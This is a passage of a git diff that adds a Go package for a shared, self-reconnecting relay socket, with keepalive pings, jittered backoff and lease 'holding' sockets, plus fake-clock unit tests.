select { + case s.changes <- struct{}{}: + default: // a signal is already waiting; the reader will see the newest state + } + } +} + +// run connects, serves and reconnects until it is stopped or refused. +func (f *Feed) run(ctx context.Context) { + defer close(f.done) + for ctx.Err() == nil { + err := f.session(ctx) + wait, again := f.retryIn(err) + if !again { + f.refuse(err) + return + } + if wait > 0 && !f.sleep(ctx, wait) { + return + } + } +} + +// refuse records the refusal that ended the feed for good, so followers hear it. +func (f *Feed) refuse(err error) { + if errors.Is(err, ErrRevoked) || errors.Is(err, ErrRotated) { + f.set(func(st *State) { st.Refused = err }) + } +} + +// session is one connection from dial to its end, and why it ended. +func (f *Feed) session(ctx context.Context) error { + // A redial asked for before this dial is answered by it, because the dial + // reads what it names after this point; one asked for later still ends it. + drain(f.redial) + s, err := f.dial(ctx) + if err != nil { + return err + } + defer s.Close() + return f.serve(ctx, s) +} + +// retryIn says how long to wait after a connection ended for err, and whether +// to come back at all. A refusal is final, a relay that stopped hearing us is +// answered at once, a relay without the route is asked again only rarely, and anything else is a dropped socket: back off, return. +func (f *Feed) retryIn(err error) (wait time.Duration, again bool) { + switch { + case errors.Is(err, ErrRevoked), errors.Is(err, ErrRotated): + return 0, false + case errors.Is(err, ErrNoRoute): + return ProbeEvery, true + case errors.Is(err, ErrSilent): + // The relay already told everyone this device was quiet, so waiting + // would only lengthen the time it shows offline. + f.retry.reset() + return 0, true + default: + return f.retry.next(), true + } +} + +// sleep waits d on the feed's clock and reports whether the feed is still wanted. +func (f *Feed) sleep(ctx context.Context, d time.Duration) bool { + t := f.clock.NewTimer(d) + defer t.Stop() + select { + case <-t.C(): + return true + case <-ctx.Done(): + return false + } +} + +// reply is what the reader goroutine found. +type reply struct { + frame Frame + err error +} + +// pump reads the socket on its own goroutine, so the serve loop can wait on +// frames and its timer at once. It ends with the context or the first error. +func pump(ctx context.Context, s Stream) <-chan reply { + out := make(chan reply) + go func() { + for { + f, err := s.Next(ctx) + select { + case out <- reply{f, err}: + case <-ctx.Done(): + return + } + if err != nil { + return + } + } + }() + return out +} + +// serve runs one open socket until it fails, and returns why. +func (f *Feed) serve(ctx context.Context, s Stream) error { + ctx, cancel := context.WithCancel(ctx) + defer cancel() + defer f.set(func(st *State) { + st.Up, st.Vouching = false, false + f.events = f.events.forgotten() + st.Online = f.events.online + }) + f.drainKick() + in := pump(ctx, s) + k := newKeeper(f.clock) + defer k.stop() + vouching := s.Vouching() + for { + select { + case r := <-in: + if r.err != nil { + return r.err + } + f.hear(r.frame, vouching) + k.heard() + case <-k.C(): + if k.dead() { + return errDead + } + if err := f.ping(ctx, s, k); err != nil { + return err + } + case <-f.kick: + if err := f.ping(ctx, s, k); err != nil && !k.outstanding { + return err + } + case <-f.redial: + return errRedial + case <-ctx.Done(): + return ctx.Err() + } + } +} + +var ( + errDead = errors.New("dirwatch: the socket stopped answering") + // errRedial ends a healthy socket because what it was dialled with changed. + errRedial = errors.New("dirwatch: the socket is dialled again") +) + +// ping sends one ping unless one is already waiting for its answer. +func (f *Feed) ping(ctx context.Context, s Stream, k *keeper) error { + if k.outstanding { + return nil + } + if err := s.Ping(ctx); err != nil { + return err + } + k.pinged() + return nil +} + +// hear files a frame. A socket that speaks is up, and a socket that has spoken +// is one worth reconnecting to at the first pace again. +func (f *Feed) hear(fr Frame, vouching bool) { + f.retry.reset() + f.mu.Lock() + f.heard = f.clock.Now() + f.mu.Unlock() + f.set(func(st *State) { + st.Up, st.Vouching = true, vouching + fr.apply(st, &f.events) + }) +} + +// lastHeard is when the open socket last showed a sign of life. +func (f *Feed) lastHeard() time.Time { + f.mu.Lock() + defer f.mu.Unlock() + return f.heard +} + +// redialNow asks the serving loop to end the socket and dial again; one waiting +// request is enough. The wait before the dial is the ladder's, so a burst of +// changes does not become a burst of dials. +func (f *Feed) redialNow() { + select { + case f.redial <- struct{}{}: + default: + } +} + +// drainKick forgets a probe asked for while there was no socket to probe. +func (f *Feed) drainKick() { drain(f.kick) } + +// drain empties a one-slot request channel. +func drain(c chan struct{}) { + select { + case <-c: + default: + } +} diff --git a/internal/dirwatch/feed_test.go b/internal/dirwatch/feed_test.go new file mode 100644 index 0000000000..bcde96a216 --- /dev/null +++ b/internal/dirwatch/feed_test.go @@ -0,0 +1,440 @@ +package dirwatch + +import ( + "context" + "errors" + "sync" + "testing" + "time" +) + +// fakeClock is a clock the test moves by hand. A timer fires only when +// Advance carries the clock past it, so no test waits on real time. +type fakeClock struct { + mu sync.Mutex + cond *sync.Cond + now time.Time + pending []*fakeTimer +} + +type fakeTimer struct { + clock *fakeClock + at time.Time + ch chan time.Time +} + +func newFakeClock() *fakeClock { + c := &fakeClock{now: time.Unix(1_000_000, 0)} + c.cond = sync.NewCond(&c.mu) + return c +} + +func (c *fakeClock) Now() time.Time { + c.mu.Lock() + defer c.mu.Unlock() + return c.now +} + +func (c *fakeClock) NewTimer(d time.Duration) Timer { + c.mu.Lock() + defer c.mu.Unlock() + t := &fakeTimer{clock: c, at: c.now.Add(d), ch: make(chan time.Time, 1)} + c.pending = append(c.pending, t) + c.cond.Broadcast() + return t +} + +func (t *fakeTimer) C() <-chan time.Time { return t.ch } + +func (t *fakeTimer) Stop() { + t.clock.mu.Lock() + defer t.clock.mu.Unlock() + t.clock.drop(t) +} + +// drop removes a timer; the caller holds the lock. +func (c *fakeClock) drop(t *fakeTimer) { + for i, p := range c.pending { + if p == t { + c.pending = append(c.pending[:i], c.pending[i+1:]...) + break + } + } + c.cond.Broadcast() +} + +// await blocks until the feed is at rest on exactly one timer set for span. +// That is the only moment moving the clock is meaningful: a timer set a moment +// too late would otherwise be jumped over. +func (c *fakeClock) await(span time.Duration) { + c.mu.Lock() + defer c.mu.Unlock() + for len(c.pending) != 1 || !c.pending[0].at.Equal(c.now.Add(span)) { + c.cond.Wait() + } +} + +// advance waits for the timer of the given span, moves the clock by `by`, and +// fires every timer that is now due. +func (c *fakeClock) advance(span, by time.Duration) { + c.await(span) + c.mu.Lock() + defer c.mu.Unlock() + c.now = c.now.Add(by) + for _, t := range append([]*fakeTimer(nil), c.pending...) { + if !t.at.After(c.now) { + t.ch <- c.now + c.drop(t) + } + } +} + +// tick lets one timer of the given span run out exactly. +func (c *fakeClock) tick(span time.Duration) { c.advance(span, span) } + +// fakeStream is one socket the test speaks and listens on. +type fakeStream struct { + in chan reply + pings chan struct{} + closed chan struct{} + once sync.Once + vouch bool // what Vouching answers +} + +func newFakeStream() *fakeStream { + return &fakeStream{in: make(chan reply), pings: make(chan struct{}, 8), closed: make(chan struct{})} +} + +func (s *fakeStream) Next(ctx context.Context) (Frame, error) { + select { + case r := <-s.in: + return r.frame, r.err + case <-ctx.Done(): + return Frame{}, ctx.Err() + case <-s.closed: + return Frame{}, errors.New("closed") + } +} + +func (s *fakeStream) Ping(context.Context) error { s.pings <- struct{}{}; return nil } +func (s *fakeStream) Vouching() bool { return s.vouch } +func (s *fakeStream) Close() { s.once.Do(func() { close(s.closed) }) } + +// send delivers one frame, or fails the read with err. +func (s *fakeStream) send(f Frame, err error) { s.in <- reply{f, err} } + +// rig is a feed on a fake clock dialling scripted sockets. +type rig struct { + t *testing.T + clock *fakeClock + feed *Feed + sub *sub + dials chan time.Time + streams chan *fakeStream + outcome func() (Stream, error) +} + +// newRig starts a feed whose every dial runs script, with jitter fixed at 0.4, a fraction that keeps every wait distinct from the keepalive's. +func newRig(t *testing.T, script func(n int) (*fakeStream, error)) *rig { + t.Helper() + r := &rig{t: t, clock: newFakeClock(), dials: make(chan time.Time, 64)} + n := 0 + dial := func(ctx context.Context) (Stream, error) { + r.dials <- r.clock.Now() + n++ + s, err := script(n) + if err != nil { + return nil, err + } + return s, nil + } + r.feed = newFeed(dial, r.clock, func() float64 { return 0.4 }) + r.sub = r.feed.follow("k") + r.feed.start() + t.Cleanup(func() { r.feed.stop() }) + return r +} + +// sockets is a script that hands out one new socket per dial and lists them. +func sockets(list chan *fakeStream) func(int) (*fakeStream, error) { + return func(int) (*fakeStream, error) { + s := newFakeStream() + list <- s + return s, nil + } +} + +// changed waits for the follower's signal. +func (r *rig) changed() { + r.t.Helper() + select { + case <-r.sub.Changes(): + case <-time.After(5 * time.Second): + r.t.Fatal("the follower was never told of a change") + } +} + +func (r *rig) dialAt() time.Time { + r.t.Helper() + select { + case at := <-r.dials: + return at + case <-time.After(5 * time.Second): + r.t.Fatal("the feed never dialled") + return time.Time{} + } +} + +func (r *rig) noDial() { + r.t.Helper() + select { + case <-r.dials: + r.t.Fatal("the feed dialled when it should have waited") + default: + } +} + +func TestAFrameBringsTheSocketUpWithItsVersion(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + s := <-list + s.send(Frame{Version: 7}, nil) + r.changed() + if got := r.sub.State(); !got.Up || got.Version != 7 { + t.Fatalf("state after a frame was %+v, want up at 7", got) + } +} + +func TestAnIdleSocketIsNotBelievedUp(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + <-list + r.clock.await(KeepEvery) + if r.sub.State().Up { + t.Fatal("a socket that has said nothing was called up") + } +} + +func TestABurstOfFramesIsOneSignalAndTheNewestVersion(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + s := <-list + for v := uint64(1); v <= 50; v++ { + s.send(Frame{Version: v}, nil) + } + // The feed has handled every frame once it has taken two more: the reader + // hands one over only when the loop is back waiting. + s.send(Frame{Pong: true}, nil) + s.send(Frame{Pong: true}, nil) + if got := r.sub.State().Version; got != 50 { + t.Fatalf("version after fifty frames was %d", got) + } + if n := len(r.sub.changes); n != 1 { + t.Fatalf("%d signals waiting, want the burst to coalesce to 1", n) + } +} + +func TestADroppedSocketComesBackWithJitteredBackoffAndResetsOnSpeech(t *testing.T) { + list := make(chan *fakeStream, 16) + r := newRig(t, sockets(list)) + first := r.dialAt() + (<-list).send(Frame{}, errors.New("reset")) + // The jitter is 0.4, so the waits are 0.4 of a ceiling that doubles from 1 s to the 60 s cap. + want := []time.Duration{400 * time.Millisecond, 800 * time.Millisecond, 1600 * time.Millisecond, 3200 * time.Millisecond, 6400 * time.Millisecond, 12800 * time.Millisecond, 24 * time.Second, 24 * time.Second} + last := first + for _, w := range want { + r.clock.await(w) + r.noDial() + r.clock.tick(w) + at := r.dialAt() + if at.Sub(last) != w { + t.Fatalf("redial came %v after the drop, want %v", at.Sub(last), w) + } + last = at + (<-list).send(Frame{}, errors.New("reset")) + } + // A socket that speaks puts the ladder back to the bottom. + r.clock.tick(24 * time.Second) + r.dialAt() + speaker := <-list + speaker.send(Frame{Version: 1}, nil) + r.changed() + // The next drop waits from the bottom rung again: 0.4 of one second. + speaker.send(Frame{}, errors.New("reset")) + r.clock.tick(400 * time.Millisecond) + r.dialAt() +} + +func TestARelayWithoutTheRouteIsAskedAgainOnlyOncePerHour(t *testing.T) { + r := newRig(t, func(int) (*fakeStream, error) { return nil, ErrNoRoute }) + r.dialAt() + for i := 0; i < 3; i++ { + r.clock.await(ProbeEvery) + r.noDial() + r.clock.tick(ProbeEvery) + r.dialAt() + } + if r.sub.State().Up { + t.Fatal("a relay with no route was called up") + } +} + +func TestARevokedOrRotatedSocketIsNotReconnected(t *testing.T) { + for _, refusal := range []error{ErrRevoked, ErrRotated} { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + r.dialAt() + s := <-list + s.send(Frame{Version: 1}, nil) + r.changed() + s.send(Frame{}, refusal) + r.changed() + <-r.feed.done + if r.sub.State().Up { + t.Fatalf("%v left the socket up", refusal) + } + if got := r.sub.State().Refused; got != refusal { + t.Fatalf("Refused = %v, want %v", got, refusal) + } + r.noDial() + } +} + +func TestADialRefusedAsRevokedStopsTheFeed(t *testing.T) { + r := newRig(t, func(int) (*fakeStream, error) { return nil, ErrRevoked }) + r.dialAt() + <-r.feed.done + r.noDial() + if r.sub.State().Refused != ErrRevoked { + t.Fatal("a dial refused as revoked did not reach the followers") + } +} + +func TestAQuietSocketIsPingedAndStaysUpWhenItAnswers(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + r.dialAt() + s := <-list + for i := 0; i < 5; i++ { + r.clock.tick(KeepEvery) + <-s.pings + s.send(Frame{Pong: true}, nil) + } + r.noDial() +} + +func TestAMissedPongWithinTheKeepaliveIsADeadSocket(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + r.dialAt() + s := <-list + s.send(Frame{Version: 1}, nil) + r.changed() + r.clock.tick(KeepEvery) + <-s.pings + r.clock.tick(PongWithin) + <-s.closed + r.changed() + if r.sub.State().Up { + t.Fatal("a socket that never answered was left up") + } + r.clock.tick(RetryBase * 2 / 5) + r.dialAt() +} + +func TestAWakeAfterALongSleepIsADeadSocketWithoutWaitingForAPong(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + r.dialAt() + s := <-list + s.send(Frame{Version: 1}, nil) + r.changed() + r.clock.advance(KeepEvery, 3*KeepEvery) // the wall clock jumped: the machine slept + <-s.closed + if len(s.pings) != 0 { + t.Fatal("a socket that slept was pinged rather than dropped") + } +} + +func TestAProbeAsksAtOnceAndDropsASocketThatDoesNotAnswer(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + r.dialAt() + s := <-list + s.send(Frame{Version: 1}, nil) + r.changed() + r.sub.Probe() + <-s.pings + r.clock.tick(PongWithin) + <-s.closed +} + +func TestOneSocketServesEveryFollowerAndTheLastToLeaveClosesIt(t *testing.T) { + list := make(chan *fakeStream, 4) + clock := newFakeClock() + dials := 0 + build := func() *Feed { + return newFeed(func(context.Context) (Stream, error) { + dials++ + s := newFakeStream() + list <- s + return s, nil + }, clock, func() float64 { return 0 }) + } + a := follow("one-identity", build) + b := follow("one-identity", build) + s := <-list + s.send(Frame{Version: 3}, nil) + <-a.Changes() + <-b.Changes() + a.Close() + select { + case <-s.closed: + t.Fatal("the socket closed while a follower was left") + default: + } + b.Close() + <-s.closed + if dials != 1 { + t.Fatalf("two followers dialled %d times, want 1", dials) + } + c := follow("one-identity", build) + defer c.Close() + <-list + if dials != 2 { + t.Fatalf("a follower after everyone left dialled %d times in all, want 2", dials) + } +} + +func TestRedialsAtOnceOnSilentClose(t *testing.T) { + list := make(chan *fakeStream, 8) + r := newRig(t, sockets(list)) + r.dialAt() + (<-list).send(Frame{}, errors.New("reset")) + // An ordinary drop climbs the ladder: 0.4 of the first rung. + r.clock.tick(400 * time.Millisecond) + r.dialAt() + // The relay saying it stopped hearing us is answered with a dial and no + // wait, so no timer stands between the close and the dial. + (<-list).send(Frame{}, ErrSilent) + r.dialAt() + if r.sub.State().Refused != nil { + t.Fatal("a silent close was taken as a refusal") + } + // The ladder was reset: the next ordinary drop waits from the bottom rung. + (<-list).send(Frame{}, errors.New("reset")) + r.clock.tick(400 * time.Millisecond) + r.dialAt() +} + +func TestDeadAfterIsTwoAndAHalfBeats(t *testing.T) { + if KeepEvery != 10*time.Second { + t.Fatalf("KeepEvery = %v, want the 10 s beat", KeepEvery) + } + if DeadAfter != 25*time.Second { + t.Fatalf("DeadAfter = %v, want 2.5 beats (25 s)", DeadAfter) + } + if PongWithin != DeadAfter-KeepEvery { + t.Fatalf("PongWithin = %v, want what is left of DeadAfter after one beat", PongWithin) + } +} diff --git a/internal/dirwatch/follow.go b/internal/dirwatch/follow.go new file mode 100644 index 0000000000..a35eb6b232 --- /dev/null +++ b/internal/dirwatch/follow.go @@ -0,0 +1,69 @@ +package dirwatch + +import ( + "math/rand/v2" + "sync" +) + +// feeds is the process's open feeds by key. One identity's socket is shared by +// every surface that reads its directory, so a second follower joins the first +// feed and does not open a second socket. +var ( + feedsMu sync.Mutex + feeds = map[string]*Feed{} +) + +// Follow joins the process's feed for key, opening its socket if nobody else +// has. The key names the identity on its relay; dial is used only by the +// follower that opens the feed. +func Follow(key string, dial Dialer) Follower { + return follow(key, func() *Feed { return newFeed(dial, realClock{}, rand.Float64) }) +} + +// follow joins, or makes and starts, the feed for key. +func follow(key string, build func() *Feed) Follower { + feedsMu.Lock() + defer feedsMu.Unlock() + f, ok := feeds[key] + if !ok { + f = build() + feeds[key] = f + f.start() + } + return f.follow(key) +} + +// sub is one follower. +type sub struct { + feed *Feed + key string + changes chan struct{} + once sync.Once +} + +func (s *sub) State() State { return s.feed.snapshot() } +func (s *sub) Changes() <-chan struct{} { return s.changes } +func (s *sub) Probe() { s.feed.probe() } +func (s *sub) Close() { s.once.Do(s.release) } + +// release leaves the feed, and the last to leave takes the socket down and +// retires the feed so the next follower starts a fresh one. +func (s *sub) release() { + feedsMu.Lock() + last := s.feed.leave(s) + if last { + delete(feeds, s.key) + } + feedsMu.Unlock() + if last { + s.feed.stop() + } +} + +// probe asks the serving loop to ping now; one waiting request is enough. +func (f *Feed) probe() { + select { + case f.kick <- struct{}{}: + default: + } +} diff --git a/internal/dirwatch/holder.go b/internal/dirwatch/holder.go new file mode 100644 index 0000000000..b7cfc6acd9 --- /dev/null +++ b/internal/dirwatch/holder.go @@ -0,0 +1,176 @@ +package dirwatch + +import ( + "context" + "math/rand/v2" + "slices" + "sync" +) + +// ── THE HOLDING SOCKET ────────────────────────────────────────────────────── +// +// A process that holds chats keeps one socket of its own that names them, so +// the relay can take the socket's pings as proof that the holder is alive and +// the holder need not send a heartbeat while it is (STAGE-1-CONTRACTS.md +// §21.11). It is kept apart from the home screen's feed on purpose: the home +// socket names no holds, so it vouches for nothing and a screen that is only +// looked at cannot be mistaken for a holder. +// +// The socket is the Feed that already dials, pings, notices death and backs off +// with jitter. The holder adds only what a hold needs: the set it names, a +// redial when that set changes, and the question "is this hold covered". + +// HoldDialer opens one socket that names holds. A hold is whatever the dialler +// and the relay agree names a lease; this package only compares them. +type HoldDialer[H comparable] func(ctx context.Context, holds []H) (Stream, error) + +// Holder is one identity's holding socket. The socket exists only while +// somebody holds a hold. +type Holder[H comparable] struct { + clock Clock + jitter func() float64 + max int + key string + dial HoldDialer[H] + + mu sync.Mutex + feed *Feed // nil while no hold is taken + order []*Holding[H] // the holds asked for, in the order they were asked + dialled []H // what the open, or last opened, socket names +} + +// holders is the process's holders by key, one per identity as feeds are. +var ( + holdersMu sync.Mutex + holders = map[string]any{} +) + +// Hold returns the process's holding socket for key, making it if this is the +// first to ask. It dials nothing until somebody takes a hold, and it never +// names more than max holds. The key names the identity on its relay; dial is +// used only by the caller that makes it. +func Hold[H comparable](key string, max int, dial HoldDialer[H]) *Holder[H] { + holdersMu.Lock() + defer holdersMu.Unlock() + if h, ok := holders[key].(*Holder[H]); ok { + return h + } + h := newHolder(key, max, dial, realClock{}, rand.Float64) + holders[key] = h + return h +} + +func newHolder[H comparable](key string, max int, dial HoldDialer[H], clock Clock, jitter func() float64) *Holder[H] { + return &Holder[H]{clock: clock, jitter: jitter, max: max, key: key, dial: dial} +} + +// open is the feed's dialler: it opens a socket naming the holds asked for now +// and remembers what it named, so "is this hold covered" is about this socket. +func (h *Holder[H]) open(ctx context.Context) (Stream, error) { + named := h.named() + s, err := h.dial(ctx, named) + if err != nil { + return nil, err + } + h.mu.Lock() + h.dialled = named + h.mu.Unlock() + return s, nil +} + +func (h *Holder[H]) named() []H { + h.mu.Lock() + defer h.mu.Unlock() + return h.namedLocked() +} + +// namedLocked is the distinct holds asked for, the first max of them in the +// order they were asked. The rest are never named, so they are never covered. +func (h *Holder[H]) namedLocked() []H { + var out []H + for _, w := range h.order { + if len(out) < h.max && !slices.Contains(out, w.hold) { + out = append(out, w.hold) + } + } + return out +} + +// Holding is one holder's hold, as it reads the socket. +type Holding[H comparable] struct { + holder *Holder[H] + feed *Feed + hold H + sub *sub + once sync.Once +} + +// Take asks the socket to name hold and returns the handle to read it by. The +// first hold opens the socket; one that changes what is named ends the socket +// and dials again. +func (h *Holder[H]) Take(hold H) *Holding[H] { + h.mu.Lock() + before := h.namedLocked() + fresh := h.feed == nil + if fresh { + h.feed = newFeed(h.open, h.clock, h.jitter) + h.dialled = nil + } + w := &Holding[H]{holder: h, feed: h.feed, hold: hold, sub: h.feed.follow(h.key)} + h.order = append(h.order, w) + changed := !slices.Equal(before, h.namedLocked()) + h.mu.Unlock() + switch { + case fresh: + w.feed.start() + case changed: + w.feed.redialNow() + } + return w +} + +// Healthy says whether the relay is vouching for the hold: the socket is open, +// its server said it vouches, the socket was dialled naming this hold, and it +// showed a sign of life within DeadAfter. Every part matters. A socket that is +// down proves nothing; a server that did not say so is an old one; a socket +// dialled before the hold was taken does not name it; and a link that went +// quiet may be half open, which the feed only notices at its own deadline. +func (w *Holding[H]) Healthy() bool { + st := w.feed.snapshot() + if !st.Up || !st.Vouching { + return false + } + h := w.holder + h.mu.Lock() + named := slices.Contains(h.dialled, w.hold) + h.mu.Unlock() + return named && h.clock.Now().Sub(w.feed.lastHeard()) <= DeadAfter +} + +// Changes signals that the socket's state changed, coalesced as a Follower's +// are, and is closed by Release. +func (w *Holding[H]) Changes() <-chan struct{} { return w.sub.changes } + +// Release gives the hold up. The last to be released takes the socket down; a +// release that changes what is named dials again. +func (w *Holding[H]) Release() { w.once.Do(w.release) } + +func (w *Holding[H]) release() { + h := w.holder + h.mu.Lock() + before := h.namedLocked() + h.order = slices.DeleteFunc(h.order, func(o *Holding[H]) bool { return o == w }) + last := len(h.order) == 0 + changed := !slices.Equal(before, h.namedLocked()) + if last { + h.feed = nil + } + h.mu.Unlock() + w.feed.leave(w.sub) + switch { + case last: + w.feed.stop() + case changed: + w.feed.redialNow() + } +} diff --git a/internal/dirwatch/holder_test.go b/internal/dirwatch/holder_test.go new file mode 100644 index 0000000000..0c7319c467 --- /dev/null +++ b/internal/dirwatch/holder_test.go @@ -0,0 +1,192 @@ +package dirwatch + +import ( + "context" + "sync" + "testing" + "time" +) + +// redialWait is the wait after a good socket ends: the first rung, RetryBase, +// times the fixed jitter of 0.4. +const redialWait = 400 * time.Millisecond + +// hold is the test's stand-in for what a socket names. +type hold struct { + cell string + fence uint64 +} + +// holderRig is a holder on a fake clock dialling scripted sockets, and the +// holds each dial named. +type holderRig struct { + t *testing.T + clock *fakeClock + holder *Holder[hold] + streams chan *fakeStream + mu sync.Mutex + dialled [][]hold + vouch bool // whether the next sockets vouch +} + +func newHolderRig(t *testing.T, max int) *holderRig { + t.Helper() + r := &holderRig{t: t, clock: newFakeClock(), streams: make(chan *fakeStream, 8), vouch: true} + dial := func(_ context.Context, holds []hold) (Stream, error) { + s := newFakeStream() + r.mu.Lock() + s.vouch = r.vouch + r.dialled = append(r.dialled, holds) + r.mu.Unlock() + r.streams <- s + return s, nil + } + r.holder = newHolder("k", max, dial, r.clock, func() float64 { return 0.4 }) + return r +} + +func (r *holderRig) socket() *fakeStream { + r.t.Helper() + select { + case s := <-r.streams: + return s + case <-time.After(5 * time.Second): + r.t.Fatal("the holder never dialled") + return nil + } +} + +func (r *holderRig) dials() [][]hold { + r.mu.Lock() + defer r.mu.Unlock() + return append([][]hold(nil), r.dialled...) +} + +// speak makes the socket say something and waits until the holder believes it. +func (r *holderRig) speak(s *fakeStream, w *Holding[hold]) { + r.t.Helper() + s.send(Frame{Version: 1}, nil) + for deadline := time.Now().Add(5 * time.Second); !w.feed.snapshot().Up; time.Sleep(time.Millisecond) { + if time.Now().After(deadline) { + r.t.Fatal("the holder was never told the socket is up") + } + } +} + +// A hold is healthy only while every part of the proof stands; in each other +// case the holder must report it is not, so that the heartbeats go on. +func TestHolderBeatsWhileSocketDown(t *testing.T) { + r := newHolderRig(t, 1) + mine := hold{"c1", 7} + w := r.holder.Take(mine) + defer w.Release() + if w.Healthy() { + t.Fatal("healthy before the socket was ever open") + } + s := r.socket() + if w.Healthy() { + t.Fatal("healthy before the socket spoke") + } + r.speak(s, w) + if !w.Healthy() { + t.Fatal("not healthy with the socket open, vouching, naming the hold and just heard from") + } + + other := r.holder.Take(hold{"c2", 1}) // past the cap of one: never named + defer other.Release() + if other.Healthy() { + t.Fatal("a hold the socket was not dialled with, and past the cap, is healthy") + } + + r.clock.mu.Lock() + r.clock.now = r.clock.now.Add(DeadAfter + time.Second) + r.clock.mu.Unlock() + if w.Healthy() { + t.Fatal("healthy although the last sign of life is older than DeadAfter") + } +} + +func TestHolderIsNotHealthyWithoutTheVouchingWord(t *testing.T) { + r := newHolderRig(t, 4) + r.vouch = false + w := r.holder.Take(hold{"c1", 7}) + defer w.Release() + r.speak(r.socket(), w) + if w.Healthy() { + t.Fatal("healthy on a socket whose server did not say it vouches") + } +} + +func TestHolderIsNotHealthyWhenTheSocketDrops(t *testing.T) { + r := newHolderRig(t, 4) + w := r.holder.Take(hold{"c1", 7}) + defer w.Release() + s := r.socket() + r.speak(s, w) + s.send(Frame{}, context.Canceled) + for deadline := time.Now().Add(5 * time.Second); w.feed.snapshot().Up; time.Sleep(time.Millisecond) { + if time.Now().After(deadline) { + t.Fatal("the holder never noticed the socket failed") + } + } + if w.Healthy() { + t.Fatal("healthy after the socket failed") + } +} + +func TestHolderIsNotHealthyForAnotherFence(t *testing.T) { + r := newHolderRig(t, 4) + w := r.holder.Take(hold{"c1", 7}) + defer w.Release() + r.speak(r.socket(), w) + stale := &Holding[hold]{holder: r.holder, feed: w.feed, hold: hold{"c1", 6}} + if stale.Healthy() { + t.Fatal("a socket that named fence 7 is healthy for fence 6") + } +} + +// What the socket names is fixed at the dial, so a hold that changes the set +// ends the socket and dials again naming the new set; giving a hold up does too. +func TestHolderRedialsWhenTheHoldSetChanges(t *testing.T) { + r := newHolderRig(t, 4) + a := r.holder.Take(hold{"c1", 1}) + defer a.Release() + s := r.socket() + r.speak(s, a) + + b := r.holder.Take(hold{"c2", 2}) + r.clock.tick(redialWait) // the old socket is ended; the new dial waits the ladder's first, jittered rung + s2 := r.socket() + select { + case <-s.closed: + case <-time.After(5 * time.Second): + t.Fatal("the old socket was kept") + } + r.speak(s2, a) // a socket that worked starts the ladder over + if got := r.dials(); len(got) != 2 || len(got[1]) != 2 || got[1][0] != (hold{"c1", 1}) || got[1][1] != (hold{"c2", 2}) { + t.Fatalf("dials = %v, want the second to name both holds", got) + } + + b.Release() + r.clock.tick(redialWait) + r.socket() + if got := r.dials(); len(got) != 3 || len(got[2]) != 1 || got[2][0] != (hold{"c1", 1}) { + t.Fatalf("dials = %v, want the third to name the remaining hold", got) + } +} + +// Two holders of the same hold change nothing about what is named. +func TestHolderDoesNotRedialForARepeatedHold(t *testing.T) { + r := newHolderRig(t, 4) + a := r.holder.Take(hold{"c1", 1}) + defer a.Release() + s := r.socket() + r.speak(s, a) + b := r.holder.Take(hold{"c1", 1}) + b.Release() + select { + case <-s.closed: + t.Fatal("the socket was ended for a hold it already named") + case <-time.After(50 * time.Millisecond): + } +} diff --git a/internal/dirwatch/keeper.go b/internal/dirwatch/keeper.go new file mode 100644 index 0000000000..febe14f4ef --- /dev/null +++ b/internal/dirwatch/keeper.go @@ -0,0 +1,56 @@ +package dirwatch + +import "time" + +// keeper decides when a quiet socket is pinged and when it is called dead. It +// owns one timer that is always either "time to ping" or "the ping is overdue". +type keeper struct { + clock Clock + timer Timer + armed time.Time + span time.Duration + outstanding bool // a ping has gone out and nothing has been heard since +} + +func newKeeper(c Clock) *keeper { + k := &keeper{clock: c} + k.arm(KeepEvery) + return k +} + +// arm restarts the timer for d. +func (k *keeper) arm(d time.Duration) { + if k.timer != nil { + k.timer.Stop() + } + k.span, k.armed, k.timer = d, k.clock.Now(), k.clock.NewTimer(d) +} + +// C is the channel the timer fires on. +func (k *keeper) C() <-chan time.Time { return k.timer.C() } + +// heard files any sign of life: an answered ping is forgiven and the quiet +// wait starts over from now. +func (k *keeper) heard() { + if k.outstanding { + k.outstanding = false + k.arm(KeepEvery) + } +} + +// dead reports, once the timer has fired, whether the socket should be given +// up. An unanswered ping is a dead socket. So is a timer that fired much later +// than it was set for by the wall clock: the machine slept, and whatever was +// on the other end of the socket has forgotten it. +func (k *keeper) dead() bool { + return k.outstanding || k.clock.Now().Sub(k.armed) > 2*k.span +} + +// pinged notes that a ping went out and gives the answer PongWithin to arrive. +func (k *keeper) pinged() { + k.outstanding = true + k.arm(PongWithin) +} + +// stop releases the timer. +func (k *keeper) stop() { k.timer.Stop() } diff --git a/internal/dirwatch/stream.go b/internal/dirwatch/stream.go new file mode 100644 index 0000000000..184642f0cd --- /dev/null +++ b/internal/dirwatch/stream.go @@ -0,0 +1,86 @@ +package dirwatch + +import ( + "context" + "errors" + "time" +) + +// Stream is one open socket, as the feed needs it. +type Stream interface { + // Next waits for the next sign of life: a version frame, or the answer to a + // ping. A refusal the server closed the socket with comes back as the + // sentinel it names. + Next(ctx context.Context) (Frame, error) + // Ping asks the server to answer, which is how a quiet socket is told from + // a dead one. + Ping(ctx context.Context) error + // Vouching says whether the server answered the upgrade with the word that + // it counts this socket as proof of life for the leases it names. A server + // that never says so is an old one, and its socket proves nothing. + Vouching() bool + Close() +} + +// Frame is what arrived: the directory's version, an event, or only a pong. +type Frame struct { + Version uint64 + Pong bool + // Event is set for an event frame (it has no version); nil otherwise. + Event *Event +} + +// Dialer opens one socket. +type Dialer func(ctx context.Context) (Stream, error) + +// The ways a socket ends that are not "try again". +var ( + // ErrNoRoute is a relay that has no watch route: an old or a self-hosted one. + ErrNoRoute = errors.New("dirwatch: this relay has no watch route") + // ErrRevoked and ErrRotated are the server saying the device is revoked or + // the identity replaced. Reconnecting would only be refused again; the list + // read says it in the words every surface already uses. + ErrRevoked = errors.New("dirwatch: device revoked") + ErrRotated = errors.New("dirwatch: identity rotated") + // ErrSilent is the relay saying it stopped hearing this device and closed + // the socket. It is not a refusal: the device is welcome, so the feed dials + // again at once. + ErrSilent = errors.New("dirwatch: the relay stopped hearing this socket") +) + +// The close codes the server ends a socket with, and the sentinels they mean. 